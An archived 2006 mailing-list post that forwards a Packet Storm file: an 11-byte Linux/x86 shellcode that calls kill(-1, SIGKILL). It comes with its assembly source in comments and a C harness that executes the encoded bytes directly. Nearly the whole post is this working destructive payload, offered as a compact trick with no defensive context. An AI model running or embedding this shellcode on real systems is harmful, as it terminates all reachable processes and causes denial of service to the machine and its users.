[Code-Crunchers] 11 bytes killall

Gadi Evron ge at linuxbox.org
Wed Nov 15 07:17:34 CST 2006


From:
http://packetstormsecurity.org/shellcode/killallproc.c

/* By Kris Katterjohn 11/13/2006
 *
 * 11 byte shellcode to kill all processes for Linux/x86
 *
 *
 *
 * section .text
 *
 *	global _start
 *
 * _start:
 *
 * ; kill(-1, SIGKILL)
 *
 *	push byte 37
 *	pop eax
 *	push byte -1
 *	pop ebx
 *	push byte 9
 *	pop ecx
 *	int 0x80
 */

main()
{
	char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";

	(*(void (*)()) shellcode)();
}



More information about the Code-Crunchers mailing list